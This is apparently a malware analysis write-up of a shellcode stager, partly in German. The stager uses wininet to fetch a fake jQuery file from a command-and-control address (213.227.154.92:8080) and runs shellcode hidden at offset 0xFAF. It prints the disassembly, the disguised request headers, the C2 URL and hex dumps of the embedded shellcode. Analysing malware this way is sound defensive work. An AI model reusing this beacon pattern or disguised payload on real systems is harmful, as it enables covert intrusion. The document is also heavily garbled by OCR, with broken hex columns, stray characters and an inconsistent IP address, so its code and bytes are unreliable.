00670EE0	33	36	8E	DB	30	4E	1D	DB	29	28	1C	DA	38	4E	1D	DB	36.00N.0)(.Ú8N.0
00670EF0	29	28	1E	DA	3B	4E	1D	DB	29	28	18	DA	28	4E	1D	DB)(.Ú;N.Û)(.Ú(N.Ŭ
00670F00	29	28	19	DA	36	4E	1D	DB	55	2A	10	DA	39	4E	1D	DB)(.ÚGN.ÛÚ*.Ú9N.Û
00670F10	ЗA	4E	10	DB	16	4E	1D	DB	7B	29	14	DA	38	4E	1D	DB	:N.Û.N.Û{).Ú8N.Û
00670F20	7B	29	E2	DB	3B	4E	1D	DB	7B	29	1F	DA	3B	4E	1D	DB	{)â0:N.0{).Ú:N.0
00670E30	5.2	69	63	6.8	2 4	45	10	DB	00	00	00	00	00	00	00	00	Rich:N 0



- Dump the PE-EXE
- Static analysis reveals, that there is one "main" function, which is a shellcode wrapper
- Breakpoint on LoadLibrary shows, that wininet.dll is used during runtime
- Additional Breakpoints on wininet functions
 - InternetConnectA
 - InternetOpenA
 - InternetReadFile
 - HttpOpenRequestA
 - HttpSendRequestA

		; intcde _main	proc near	const	; CODE	XREF: _	scrt_common_ma	in_seh(void)+F5↓p
		argc argv envp	= dword ptr = dword ptr = dword ptr	4 8 0Ch				
FF 15 00 20 44 B8 00 10 40 04 FF D0 33 C0 C3	3 00 3	_main	call ds:F mov eax, call eax xor eax, retn endp	reeCons offset ; execu eax	ole execute_she te_shellcode	llcode		
sub_40108F	proc pop push push	near ebp 74656Eh 696E6977h	; CODE XREF: exe	- L				
	push push call call	esp 726774Ch ebp \$+5 edi edi	; LoadLibraryA		sub_4010D7	proc	near	; CODE XREF: sub_4
sub_40108F	push push push push push call jmp endp	edi edi edi edi edi 0A779563Ah ebp loc_40115E	; InternetOpenA			pop xor push push push push push push push	ebx edx, edx 84C03200h edx edx edx ebx edx eax B32E55EBh	; HttpOpenRequestA
loc 401255+			· CODE XREE · sub 40	7		call mov add push mov	ebp esi, eax ebx, 50h ; 'P' 3380h eax, esp	
100_401101 -	push push push	40h ; '@' 1000h 400000h	; sub_4010D7+1F2↑j			push push push push push	4 eax 1Fh esi 869E4675h	; InternetSetOptic
	push push call xchg mov add push push	eai ØE5553A458h ebp eax, ebx ecx, ØFAFh ecx, ebx ecx ebx	; VirtualAlloc			call pop xor push push push push	ebp edi, edi edi edi ØFFFFFFFh ebx eci	
loc_40130F:	mov	edi, esp edi	; CODE XREF: sub_401	.0		push call	7B18062Dh ebp	; HttpSendRequestA
	push push push call test jz mov add test	2000h ebx esi 0E2899612h ebp eax, eax short loc 4012E eax, [edi] ebx, eax eax, eax	; InternetReadFile 8					

retn

1) InternetConnectA

2) HttpOpenRequestA

3) HttpSendRequestA

mov edi,edi	InternetConnectA	^			
mov ebp,esp sub_esp,4C			EAX	755C9020	<pre><wininet.internetconnecta> "212_227_154_82"</wininet.internetconnecta></pre>
push ebx push esi	ebx:"213.227.154.92"		ECX	00FC10D1	"PeŒ"

mov edi,edi	HttpOpenRequestA	~			
push ebp					
sub esp. 3C			EAX	75666CB0	<pre><wininet.httpopenrequesta></wininet.httpopenrequesta></pre>
lea eax,dword ptr ss:[ebp-3C]			EBX	00FC1168	"/jquery-3.3.1.slim.min.js"
push esi			EDX	28255558	ARE AT THE S

mov edi,edi	HttpSendRequestA	~			
push ebp					
mov epp,esp			EAX	755D4AE0	<wininet.httpsendrequesta></wininet.httpsendrequesta>
lea eax.dword ptr ss:[ebp-3C]			EBX	00FC11B8	"Accept: text/html,applicat
push esi				50FC1116	5T0650.00FC1116

									_								
Address	He																ASCII
00FC11B8		05	63	65	70	74	ЗA	20	74	65	78	74	2F	68	74	6D	Accept: text/htm
OUTCILCO	6C	2C	61	70	70	6C	69	63	61	74	69	6F	6E	2F	78	68	1,application/xh
00FC11D8	74	6D	6C	2B	78	6D	6C	2C	61	70	70	6C	69	63	61	74	tml+xml,applicat
00FC11E8	69	6F	6E	2F	78	6D	6C	3B	71	ЗD	30	2E	39	2C	2A	2F	ion/xml;q=0.9,*/
00FC11F8	2A	3B	71	3D	30	2E	38	0D	0A	41	63	63	65	70	74	2D	*;q=0.8Accept-
00FC1208	4C	61	6E	67	75	61	67	65	3A	20	65	6E	2D	55	53	2C	Language: en-US,
00FC1218	65	6E	3B	71	3D	30	2E	35	OD	0A	52	65	66	65	72	65	en;q=0.5Refere
00FC1228	72	ЗA	20	68	74	74	70	ЗA	2F	2F	63	6F	64	65	2E	6A	r: http://code.j
00FC1238	71	75	65	72	79	2E	63	6F	6D	2F	0D	0A	41	63	63	65	query.com/Acce
00FC1248	70	74	2D	45	6E	63	6F	64	69	6E	67	ЗA	20	67	7A	69	pt-Encoding: gzi
00FC1258	70	2C	20	64	65	66	6C	61	74	65	0D	0A	55	73	65	72	p, deflateUser
00FC1268	2D	41	67	65	6E	74	ЗA	20	4D	6F	7A	69	6C	6C	61	2F	-Agent: Mozilla/
00FC1278	35	2E	30	20	28	57	69	6E	64	6F	77	73	20	4E	54	20	5.0 (Windows NT
00FC1288	36	2E	33	3B	20	54	72	69	64	65	6E	74	2F	37	2E	30	6.3; Trident/7.0
00FC1298	3B	20	72	76	3A	31	31	2E	30	29	20	6C	69	6B	65	20	; rv:11.0) like
00EC12A8	47	65	63	6B	6E	OD	0A	00	35	4F	21	50	25	40	41	50	Gecko501P%@AP

nov dword ptr ds:[esi+238],eb/ebx:"https://213.227 EAX 00891578 "https://213.227.154.92:8080/jquerv-3.3.1.slim.min.js" 5 6DD 300] cmp dword ptr EBX 00891578 "https://213.227.154.92:8080/jquery-3.3.1.slim.min.js wininet,755908D4 ECX 00000000 mov edx,dword ptr ds:[esi+208] mov eax,dword ptr ds:[esi+120]eax:"https://213.227 EDX 00000000 eax: "https://213.227 EBP 0093F778 &"(ø"' " ô " or eax.edx ESP 0093F620 bt eax,18 eax:"https://213.227 setae cl EST 00B8D420

HTTP GET Request

The crafted request looks like a harmless HTTP GET Request to receive a JQuery Javascript file

Setting up a simple request with no additions, results in a blank answer...

To receive the .js file, reproducing the whole GET request including **HTTP Header** fields is required, e.g.: Referer hxxp://code.jquery.com/



4) VirtulAlloc

Response of the request is saved into a buffer Size: 4MB

5) InternetReadFile

Buffer is filled in multiple chunks Important offset 0xFAF stored in ECX register



Breakpoint at the end of the loop
→ Buffer is filled completely

On the first look, the response looks like a valid JQuery response

008112FB 008112FC 008112FC	57 68 58A453E5	push edi push ESS3A458	VirtualAlloc	^	
 00811301 00811303 00811304 00811304 00811306 00811306 00811306 	FFD5 93 89 AF0F0000 01D9 51 53	call ebp xchg ebx,eax mov ecx,FAF add ecx,ebx push ecx push ebx	Neuer &Buffer in ebx Offset FAF in ecx Addiere Offset FAF auf ebx (&Buffer) Beide Offsets auf dem Stack	EAX EBX ECX EDX	00000000 03654A01 46A2D98B 00000000
0081130D 0081130F 0081131F	89E7 57 68 00200000	mov edi,esp push edi push 2000	StackPointer in EDI	ESP EDI	00D3FC28
00811315 00811316 00811317 00811317	55 56 68 129689E2 FFD5	push esi push E2899612 call ebp	InternetReadFile	EIP	6 81132B
0081131E 00811320 00811322 00811324 00811324 00811324	85C0 ~ 74 C6 8807 01C3 85C0	<pre>test eax,eax i states[.sli2E8 add ebx,eax test eax,eax</pre>		ZF 1 OF 0 CF 0	1 AF 0 0 DF 0 0 IF 1
	C3	<pre></pre>	Schleifenende Return an Rücksprungadresse auf dem Stack	LastE	t tus 8009
.text:00811328 stage5[.]exe:	3231 3235 31328 #728	xor dh,byte ptr ds:[ecx]	>	Default 1: [es 2: [es 3: [es 4: [es 5: [es 4: [es	(call) -4] 00CCC -8] 00811 -C] 696E6 -10] 0074 -14] 0081
💷 Dump 1 💭 Dump 2 💷 Du	mp 3 💷 Dump 4 💷 Dump	5 🛞 Watch 1 🛛 🖅 Locals 🖉 Struct		00D3FC2	03620FAF
Address Hex 03620000 2F 2A 21 20 6A 51 7 03620010 31 20 7C 20 28 63 2 03620020 61 74 69 66 66 20 29 03620030 63 6F 66 74 72 69 6 03620030 63 67 62 74 72 69 6 03620040 03620050 65 20 24 22 21 66 7 29 26 03620050	5 65 72 79 20 76 33 2E 33 9 20 4A 53 20 4G 6F 75 6E 1 6E 64 20 6F 74 68 65 72 2 75 74 6F 72 73 20 7C 20 72 67 7F 6C 69 63 65 65 66 63 74 69 6F 6E 28 65	ASCII ZE " Query V3.3. 64 1 (c) JS Found 20 ation and other 64 contributors j 73 query.org/licens 20 e =/function(e,	Â	00D3FC3 00D3FC3 00D3FC3 00D3FC3 00D3FC4 00D3FC4 00D3FC4	0 08110A7 0 0666977 0 74656E 0 081135D 0 0811529 0 000001 0 FB53A8 0 0FB53A8

Looking more in detail and following the code execution, the buffer contains a **shellcode** which is called directly afterwards, by jumping to **offset 0xFAF**



	03620FAF FC 03620FB0 E8 1800	00000	cld call 3620FCD
	03500FEC FA A44 03520FED A7 03520FED 91 03520FED 91 03520FED 8D7D 2(3) 03520FCS BD7D 2(3) 03520FCS D275 8f 03520FCS D230 03520FCS E8 27 03520FCD 8B16 03520FCD 8816 03520FCD 8836 03520FDD 8836 03520FDD 8836 03520FDD 8326 03520FDE 56 03520FE1 890E 03520FE3 81CA 03520FE5 8326 03520FE8 8126 03520FE8 8326 03520FE8 8326 03520FE8 8326 03520FE8 3127	4 4 4	<pre>imp for iff black xchg ecx,eax mov cl.p3 lea edi,dword ptr ss:[ebp+20] mov ecx,user32.7633342C add dh.byte ptr ss:[ebp-71] fmstew m28 ptr ds:[eax] jmp 3620FF6 pop esi mov edx,dword ptr ds:[esi] add esi,4 mov edi,dword ptr ds:[esi] add esi,4 push esi mov ecx,dword ptr ds:[esi] mov ecx,dword ptr ds:[esi] xor edi,edx mov dword ptr ds:[esi],ecx add esi,4 sub edi,4 xor ecx,ecx</pre>
Dump 1 Dump 2	2 💷 Dump 3 💷 Du	mp 4 💷 Dump 5	i 👹 Watch 1 🛛 [x=l Locals 🏾 🚀 Stru
Address Hex 03620FAF FC E8 18 00	00 00 EA 44 41 44 A	2 FF A3 A7 91 E	ASCII 31 üeêDAD¢ÿf§.±
03620°CF 5E 88 16 83 03620°CF 5E 88 16 83 03620°FF 74 02 88 E4 03620°FF 74 02 88 E4 0362100°F 88 93 62 E6 0362100F 88 93 62 E6 0362101F D6 05 06 22 0362103F <u>38 90 E0 76</u> 0362103F <u>38 90 E0 76</u> 0362104F 94 C0 5E F1 0362104F 94 C0 5E 70 0362104F 94 C0 5E 70 05 7	C6 04 88 3E 31 D7 8 31 CA 83 C6 04 83 E CA 85 2E 81 D4 85 F CD A6 A8 2A 5D 36 3 88 93 39 61 57 C6 8 38 90 E0 76 38 90 E 38 90 E0 76 38 90 E 38 90 E0 76 38 90 E 60 70 84 A7 5D 9F A 27 D 67 4 E	3 C6 04 56 88 C F 04 31 C9 39 C F FF 5D 36 38 E 8 A D 78 62 E 0 84 D6 05 F9 F 7 89 E8 9D E0 7 0 76 38 9D E0 7 0 76 38 9D E0 7 0 76 38 G2 26 7	<pre>E A & >1x. & F 1N1E.&</pre>

Offset(h)	00 01 02 03 04 0	05 06 07 08 09	OA OB OC	DD OE OF :	10 11 12 1	3 14 15	16 17 18	19 1A 1B	1C 1D 1	E 1F 20 2	21 22 23	24 25 26	27 28 2	9 2A 2B 3	2C 2D 2E	2F 30 3	1 32 33	34 35 3	6 37 38	39 3A 3B	3C 3D 3E 3F	Dekodierter Text	
00000000	2F 2A 21 20 6A 5	51 75 65 72 79	20 76 33 2	2E 33 2E 3	31 20 7C 2	0 28 63 3	29 20 4A	53 20 46	6F 75 6	E 64 61 1	74 69 6F	6E 20 61	6E 64 2	0 6F 74	68 65 72	20 63 6	F 6E 74	72 69 6	2 75 74	6F 72 73	20 7C 20 6A	/*! jQuery v3.3.1 (c) JS Foundation and other contributors j	
00000040	71 75 65 72 79 2	2E 6F 72 67 2F	6C 69 63 (65 6E 73 (65 20 2A 2	F 21 66 '	75 6E 63	74 69 6F	6E 28 6	5 2C 74 2	29 7B 22	75 73 65	20 73 7	4 72 69	63 74 22	3B 22 6	F 62 6A	65 63 7	4 22 3D	3D 74 79	70 65 6F 66	<pre>query.org/license */!function(e,t){"use strict";"object"==typeof</pre>	
00000080	20 6D 6F 64 75 6	6C 65 26 26 22	6F 62 6A (65 63 74 2	22 3D 3D 7	4 79 70	65 6F 66	20 6D 6F	64 75 6	C 65 2E (65 78 70	6F 72 74	73 3F 6	D 6F 64 '	75 6C 65	2E 65 7	8 70 6F	72 74 7	3 3D 65	2E 64 6F	63 75 6D 65	module&&"object"==typeof module.exports?module.exports=e.docume	
000000000	6E 74 3F 74 28 6	65 2C 21 30 29	3A 66 75 (5E 63 74 (69 6F 6E 2	8 65 29	7B 69 66	28 21 65	2E 64 6	F 63 75 (6D 65 6E	74 29 74	68 72 6	F 77 20	6E 65 77	20 45 7	2 72 6F	72 28 2	2 6A 51	75 65 72	79 20 72 65	nt?t(e,!0):function(e){if(!e.document)throw new Error("jQuery re	
00000100	71 75 69 72 65 7	73 20 61 20 77	69 6E 64 (5F 77 20 °	77 69 74 6	8 20 61 3	20 64 6F	63 75 6D	65 6E 7	4 22 29 3	B 72 65	74 75 72	6E 20 7	4 28 65 3	29 7D 3A	74 28 6	5 29 7D	28 22 7	5 6E 64	65 66 69	6E 65 64 22	guires a window with a document");return t(e)):t(e)}("undefined"	
00000140	21 3D 74 79 70 6	65 6F 66 20 77	69 6E 64 (5F 77 3F '	77 69 6E 6	4 6F 77 :	3A 74 68	69 73 2C	66 75 6	E 63 74 (59 6F 6E :	28 65 20	74 29 7	B 22 75	73 65 20	73 74 7	2 69 63	74 22 3	B 76 61	72 20 6E	3D 5B 5D 2C	<pre>!=typeof window?window:this.function(e,t){"use strict";var n=[],</pre>	
00000180	72 3D 65 2E 64 6	6F 63 75 6D 65	6E 74 2C	59 3D 4F (62 6A 65 6	3 74 2E	67 65 74	50 72 6F	74 6F 7	4 79 70 (55 4F 66 3	2C 6F 3E	6E 2E 7	3 6C 69 0	63 65 2C	61 3D 6	E 2E 63	6F 6E 6	3 61 74	2C 73 3D	6E 2E 70 75	r=e.document,i=Object.getPrototvpeOf.o=n.slice.a=n.concat.s=n.pu	
000001C0	73 68 2C 75 3D 6	6E 2E 69 6E 64	65 78 4F (56 2C 6C 3	3D 7B 7D 2	C 63 3D	6C 2E 74	6F 53 74	72 69 6	E 67 2C (56 3D 6C 3	2E 68 61	73 4F 7	7 6E 50 '	72 6F 70	65 72 7	4 79 2C	70 3D 6	6 2E 74	6F 53 74	72 69 6E 67	sh.u=n.indexOf.l={}.c=l.toString.f=l.hasOwnProperty.p=f.toString	
00000200	2C 64 3D 70 2E 6	63 61 6C 6C 28	4F 62 6A	65 63 74 3	29 2C 68 3	D 7B 7D 3	2C 67 3D	66 75 6E	63 74 6	9 6F 6E 2	20 65 28	74 29 7E	72 65 7	4 75 72	6E 22 66	75 6E 6	3 74 69	6F 6E 2	2 3D 3D	74 79 70	65 6F 66 20	,d=p.call(Object),h={},g=function e(t){return"function"==typeof	
00000240	74 26 26 22 6E 1	75 6D 62 65 72	22 21 3D 1	74 79 70	65 6F 66 2	0 74 2E	6E 6F 64	65 54 79	70 65 7	D 2C 79 3	BD 66 75	6E 63 74	69 6F 6	E 20 65 ;	28 74 29	7B 72 6	5 74 75	72 6E 2	0 6E 75	6C 6C 21	3D 74 26 26	tss"number"!=typeof t.nodeType}.v=function e(t){return null!=tss	
00000280	74 3D 3D 3D 74 2	2E 77 69 6E 64	6F 77 7D 2	2C 76 3D .	7B 74 79 7	0 65 3A 3	21 30 2C	73 72 63	3A 21 3	0 2C 6E (5F 4D 6F	64 75 60	65 3A 2	1 30 7D :	3B 66 75	6E 63 7	4 69 6F	6E 20 6	D 28 65	2C 74 2C	6E 29 7B 76	t===t,window},v={tvpe:!0,src:!0,noModule:!0};function m(e,t,n){v	
000002C0	61 72 20 69 2C 6	6F 3D 28 74 3D	74 7C 7C	72 29 2E	63 72 65 6	1 74 65	45 6C 65	6D 65 6E	74 28 2	2 73 63 3	72 69 70	74 22 29	3B 69 6	6 28 GF :	2E 74 65	78 74 3	D 65 2C	6E 29 6	6 6F 72	28 69 20	69 6E 20 76	ar i.o=(t=t r).createElement("script");if(o.text=e.n)for(i in v	
00000300	29 6E 5B 69 5D 2	26 26 28 6F 5B	69 5D 3D (6E 5B 69 5	5D 29 3B 7	4 2E 68	65 61 64	2E 61 70	70 65 6	E 64 43 (58 69 6C	64 28 6E	29 2E 7	0 61 72	65 6E 74	4E 6F 6	4 65 2E	72 65 6	D 6F 76	65 43 68	69 6C 64 28)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(
00000340	6F 29 7D 66 75 6	6E 63 74 69 6F	6E 20 78 2	28 65 29 '	7B 72 65 7	4 75 72	6E 20 6E	75 6C 6C	3D 3D 6	5 3F 65 2	B 22 22	3A 22 6E	62 6A 6	5 63 74 3	22 3D 3D	74 79 7	0 65 6F	66 20 6	5 7C 7C	22 66 75	6E 63 74 69	<pre>o) }function x(e) {return null==e?e+"":"object"==typeof e "functi</pre>	
00000380	6F 6E 22 3D 3D 1	74 79 70 65 6F	66 20 65 3	3F 6C 5B (63 2E 63 6	1 6C 6C 3	28 65 29	5D 7C 7C	22 6F 6	2 6A 65 (53 74 22	3A 74 79	70 65 6	F 66 20 (65 7D 76	61 72 2	0 62 3D	22 33 2	E 33 2E	31 22 2C	77 3D 66 75	on"==typeof e?l[c.call(e)] "object":typeof e)var b="3.3.1",w=fu	
000003C0	6E 63 74 69 6F 6	6E 28 65 2C 74	29 7B 72	65 74 75 °	72 6E 20 6	E 65 77 3	20 77 2E	66 6E 2E	69 6E 6	9 74 28 6	55 2C 74	29 7D 20	54 3D 2	F 5E 5B	5C 73 5C	75 46 4	5 46 46	5C 78 4	1 30 5D	2B 7C 5B	5C 73 5C 75	<pre>nction(e.t){return new w.fn.init(e.t)}.T=/^[\s\uFEFF\xA0]+ [\s\u</pre>	
00000400	46 45 46 46 5C 1	78 41 30 5D 2B	24 2F 67 3	3B 77 2E	66 6E 3D 7	7 2E 70	72 6F 74	6F 74 79	70 65 3	D 7B 6A	71 75 65	72 79 34	22 33 2	E 33 2E	31 22 20	63 6F 6	E 73 74	72 75 6	3 74 6F	72 3A 77	2C 6C 65 6E	FEFF\xA01+\$/g:w.fn=w.prototype={iguery:"3.3.1".constructor:w.len	
00000440	67 74 68 3A 30 2	2C 74 6F 41 72	72 61 79 3	BA 66 75 (6E 63 74 6	9 6F 6E 3	28 29 7B	72 65 74	75 72 6	E 20 6E 2	E 63 61	6C 6C 28	74 68 6	9 73 29	7D 2C 67	65 74 3	A 66 75	6E 63 7	4 69 6F	6E 28 65	29 7B 72 65	gth:().toArray:function() (return o.call(this)).get:function(e) (re	
00000480	74 75 72 6E 20 6	6E 75 6C 6C 3D	3D 65 3F	6F 2E 63	61 6C 6C 2	8 74 68	69 73 29	3A 65 3C	30 3F 7	4 68 69 1	73 5B 65	2B 74 68	69 73 2	E 6C 65	6E 67 74	68 5D 3	A 74 68	69 73 5	B 65 5D	7D 2C 70	75 73 68 53	turn null==e?o.call(this):e<0?this[e+this.length]:this[e]}.pushS	
000004C0	74 61 63 6B 3A 6	66 75 6E 63 74	69 6F 6E 3	28 65 29	7B 76 61 7	2 20 74	3D 77 2E	6D 65 72	67 65 2	8 74 68 6	59 73 2E	63 6F 6E	73 74 7	2 75 63	74 6F 72	28 29 2	C 65 29	3B 72 6	5 74 75	72 6E 20	74 2E 70 72	tack:function(e)(var t=w.merge(this.constructor().e):return t.pr	
00000500	65 76 4F 62 6A 6	65 63 74 3D 74	68 69 73	2C 74 7D 3	2C 65 61 6	3 68 3A	66 75 6E	63 74 69	6F 6E 2	8 65 29 3	7B 72 65	74 75 72	6E 20 7	7 2E 65	61 63 68	28 74 6	8 69 73	20 65 2	9 7D 2C	6D 61 70	3A 66 75 6E	evObject=this,t},each:function(e){return w.each(this,e)},map:fun	
00000540	63 74 69 6F 6E 2	28 65 29 7B 72	65 74 75	72 6E 20	74 68 69 7	3 2E 70	75 73 68	53 74 61	63 6B 2	8 77 2E (5D 61 70	28 74 68	69 73 2	C 66 75	6E 63 74	69 6F 6	E 28 74	2C 6E 2	9 7B 72	65 74 75	72 6E 20 65	ction(e) (return this.pushStack(w.map(this.function(t.n) (return e	
00000580	2E 63 61 6C 6C 2	28 74 2C 6E 2C	74 29 7D 3	9 29 7D 3	2C 73 6C 6	9 63 65 3	3A 66 75	6E 63 74	69 6F 6	E 28 29	7B 72 65	74 75 72	6E 20 7	4 68 69	73 2E 70	75 73 6	8 53 74	61 63 6	B 28 6F	2E 61 70	70 6C 79 28	.call(t.n.t)})); slice:function() {return this.pushStack(o.applv(
00000500	74 68 69 73 2C 6	61 72 67 75 6D	65 6E 74	73 29 29	7D 2C 66 6	9 72 73	74 3A 66	75 6E 63	74 69 6	F 6E 28 2	9 7B 72	65 74 75	72 6E 2	0 74 68	69 73 2E	65 71 2	8 30 29	7D 2C 6	C 61 73	74 3A 66	75 6E 63 74	this.arguments))}.first:function(){return this.eg(0)}.last:funct	
00000600	69 6F 6E 28 29 3	7B 72 65 74 75	72 6E 20	74 68 69	73 2E 65 7	1 28 2D 3	31 29 7D	20 65 71	3A 66 7	5 6E 63 3	74 69 6F	6E 28 65	29 7B 7	6 61 72 3	20 74 30	74 68 6	9 73 2E	6C 65 6	E 67 74	68 2C 6E	3D 2B 65 2B	ion() {return this.eg(-1)}.eg:function(e) {var t=this.length.n=+e+	
00000640	28 65 3C 30 3F 1	74 31 30 29 3B	72 65 74	75 72 6E 3	20 74 68 6	9 73 2E	70 75 73	68 53 74	61 63 6	B 28 6E 3	3E 3D 30	26 26 6F	30 74 3	F 5B 74	68 69 73	5B 6E 5	D 5D 3A	5B 5D 2	9 7D 2C	65 6E 64	34 66 75 6E	<pre>(e<02t:0):return this.nushStack(n>=0&&n<t2[this[n]]:[])}.end:fun< pre=""></t2[this[n]]:[])}.end:fun<></pre>	
000000800	65 72 20 52 74 7	70 60 6E 67 00	46 75 6 F	2 74 60 1	FF 6F 20 4	1 72 73	61 70 20	44 61 74	65 20 F	2 65 67	15 70 70	20 45 62	67 6F 6	2 74 20	45 20 22	6F 70 0	0 52 70	6D 62 6	F 60 22	0F 72 70	60 60 74 28	on Stwing Europian Jaway Data DagEur Obiaat Europ Symbold anlit (
0000000000	22 20 22 20 20 20 4	72 69 62 67 20 66 75 67 69 74	40 /5 6E (6r 6E 20 1	C 59 22	CD 67 62	41 61 /1	74 20 2	2 05 67 1	13 78 70 .	20 HE 62	74 25 7	A 68 40	13 12 12 67 77 65	72 42 4	1 79 65	20 20 7	D 26 22	2E 75 70	60 65 74 26 62 74 69 6F	<pre># Stilling function Array bate RegExp Object Error Symbol*.spirt(</pre>	
0000000000	22 20 22 29 2C C	00 73 01 03 74 00 78 76 61 70	20 74 20 1	20 03 20	74 29 70 0 26 26 22 6	C 55 22	50 01 02	0A 65 63	20 65 2	2 20 79 1 6 26 65 1	20 22 3D . 27 60 65	22 3D 3L 68 67 74		9 01 90 90	20 65 20	20 72 43 6	E 74 75	20 29 7	1 67 29	66 75 65	26 21 70 20	<pre>c (c) (max t= los([]contblin offe longth n=m(c) return [c(c)(find))</pre>	
00000200	6E 20 36 26 00 2	23 FB 70 CI 72	20 73 30 3	21 21 00 .	20 20 22 0	0 20 20 1	74 76 76	22 69 62	20 00 2 6D 60 6	5 20 00 2	2E 0C 03	70 70 65	60 20 0	0 74 26	20 00 25	30 72 0	6 74 2D	72 02 2	0 6F 20	65 29 20	26 21 79 20	<pre>n C(c) {vai b=::eaa iength in eaac.iength, n=x(c), ietuin:g(c) aa:y(c) (f (lawaaulleene 0 ==== 0 ==== 1 ======= 0 ==========</pre>	
00000210	45 2D 66 75 6F 6	62 74 69 68 68 62 74 69 68 68	20 65 20 1	78 76 61 .	72 20 74 2	C 68 30 3	72 20 69	22 62 75	61 20 7	9 20 75		63 DC 66	20 70 2	C 64 2C	60 71 3E	20 20 2	C 76 20	6D 2C 7	0 00 20	20 22 72	69 73 73 6C	E-function(e) (war t p r i c a s v l c f p d b g v v p v b="size]	
00000200	45 3D 00 73 0E 0	CE 65 77 20 44	E1 74 EE 1	C 77 2D	65 DV 64 6	F 62 75	CD 65 68	74 20 54	20 20 2	C 42 2D 1	20 20 45	20 61 65	20 70 2	C 68 2D	60 20 07	20 79 2	2 20 E1	65 20 2	0 20 02	20 66 75	6F 62 74 60	ellinerion(e)(var c,n,r,r,r,o,a,s,a,r,c,r,p,a,n,g,y,v,m,x,b-sizzi	Ι,
00000200	65 65 20 51 2A 0	74 20 77 20 11	74 75 72 /	SE 20 SE	05 2E 07 0	A 26 26	20 65 20	21 20 20	30 30 2	D 3C 4E 1	D 78 7D	3D 01 00	20 29 2	7 65 50	01 03 20 72 6F 70	25 20 0	10 3D 01	41 20 2	P 5D 2C	50 00 75	OE 03 74 03	er (a t) (return erret((f=10) 0) N=() har() mererty 3=[] d=3 nem	
00000200	OF 0E 28 05 20 1	79 25 78 72 65	AC 2D 41	DE 20 65 .	30 30 30 1 73 69 30 4	2020.	20 00 30	21 30 25	20 30 7	D 20 1E -	SD 78 70.	20 00 01 60 67 68	20 65 2	7 6E 30	72 OF 70 78 66 68	72 29 7	1 / 9 20	30 GE 3	D 30 2C	72 2D 41	2E 70 6E 70	and nuch I=2 nuch H=2 alice Offunction (a t) (for (war n=0 real and	\leq
00000240	20 71 3D 11 2E 1	20 73 28 68 20 20 73 28 68 28	28 20 40	56 70 65 1	FD 60 20 3	D 2D 2D 2	74 26 72	65 74 75	70 68 0	0 68 28 3	72 65 74	75 72 65	20 00 2	D 2C 50	20 22 07	VEC E0 1	0 01 72	20 CC 8	D 00 ED	94 AC EG	22 30 81 04	(the state of the	
00000230	CD FO 18 00 20 5	30 72 38 02 28	2D 25 09 0	DO 20 00 .	D 02 DD 3	0 04 98	20 21 FF	03 74 73	FO OP 1	0 01 55	2 10 21	DE 02 CC	04 93 7	E 04 31	DD 22 01	74 02 5	D EN ED	FF FF F	0 D4 FF	54 4C 19	CD 23 61 20	$g(n, n(1, n+1)) = (e[n]^{}c) = c(n(1, n)) = (a, a, a) = (a, a)$	
00000200	ED TO IT 03 39 1	DE 10 EE 40 90	DO DO AD	CD 27 30 0	6B 20 63 C	0 01 08	SO DE EE	00 25 01	C2 40 7	C DD DD I	55 10 31 . FF D2 69	D3 03 C0	0 0 0 0 D	4 00 00	00 57 FF	DO 00 0	D EA 3D	PP LS L	0 00 00	PP PP 30	CD 3A 61 3C	MO.J.S. MTDEL (NOTEL STI COLLEGIZATING WOR	
00001000	19 39 61 90 90 9	90 90 90 90 90 90	90 90 40 3	DR 32 43 1		7 87 78	69 DE 55	05 55 01	76 26 9	P 50 00 1	C 86 72	20 55 A2	27 11 0	3 00 00 ·	24 62 25		00 00 00	92 75 0	7 07 57	27 C2 70	D4 CD CB 06	A Ž [*] ····································	
00001040	DE CC 67 DC 70 1	00 00 00 20 00	00 00 16 0	21 40 12	70 05 AL 1	P CE 60	07 11 09	40 50 10	75 39 0	B 50 F0 5	DE 20 05	PC 12 DE	2 A 11 9	2 20 07 1	97 98 20 27 36 21	57 00 E	D 20 07	53 AL 0	2 60 7C	TO OC 60	D2 75 20 61	at the second se	
00001080	DE CC GA DC 7C I	05 32 30 43 03 00 13 03 03 03	E4 07 67 1	21 10 13	74 ED 22 D	D CF 60	OD II 98	47 90 1D	E3 6/ /	5 57 04 0	50 20 95 . 50 00 53	17 50 50	. DO DZ 6	3 45 87 1 4 FF F2 1	20 0D 25	. 57 60 E	1 42 CC	ED OF F	5 65 7C	FZ 0C 0Z	4E 4E 00 00	sijujuker	
000011000	20 10 20 CE F9 0	00 12 DA D2 CA	00 00 00 1	57 31 70 1 FF FF FF 1		0 00 03	LL LA AD	57 6D 80	DO ES /	3 95 80 1	DO UD SA	1/ 30 50 CO ED 00	, CM 83 0	7 EE E2 .	29 UD 35	DE 28 8	11 12 00	DD 9E E	PL P1 0.	02 00 00	AL 42 00 00	araiuuoro+g+ poma., are;g.epeu-un.2.\\Lf.1a).51.;Bi>Zia.Ç.;NO	
00001100	4C 01 04 00 30 3	36 25 58 00 00	00 00 03 1	12 EE 12 1		0.00.00	00 00 00	52 02 00	00 64 0	T 00 00 1	00 00 00	00 00 10		0 00 00	DO 70 02	00 10 0	0 00 10	00 10 0	2 00 53	02 00 00	E4 E2 02 00	LDOWAAYYYdLKdAl	
00001140	64 00 00 00 00 00	00 00 00 00 00	00 00 00 1				00 00 02	00 40 01	00 00 1	2 00 00 .	16 00 00	00 00 10	00 00 1	0 00 00 .	PA 01 01		0 00 00	90 0D 0	0 00 00	00 00 00	ET FA 02 00	d کُ ک	
00001180		55 55 50 50 00 00					00 00 00	02 00 00	00 00 0	0 00 00 1	10 00 00			0 00 00				00 00 0	C DD D0	C2 00 00	55 50 00 00	0.5 0 m £	
00001200		52 02 00 40 00				0 00 00 0	00 00 20	00 00 60	FD B1 7	7 32 87 1	12 C3 00	F1 GB 00		0 02 00	00 00 00		6 02 00	00 00 0	0 00 00	00 00 00	00 00 00 00	ν	
00001200		JA VA UU UU UI					00 00 20	00 00 00	PP DI H			- JD 00	/ 00 00 /	0 02 00			00 02 00	00 00 0	00 00	00 00 00	00 00 00 00	······································	

Embedded Shellcode

Pseudo JQuery

Pseudo JQuery

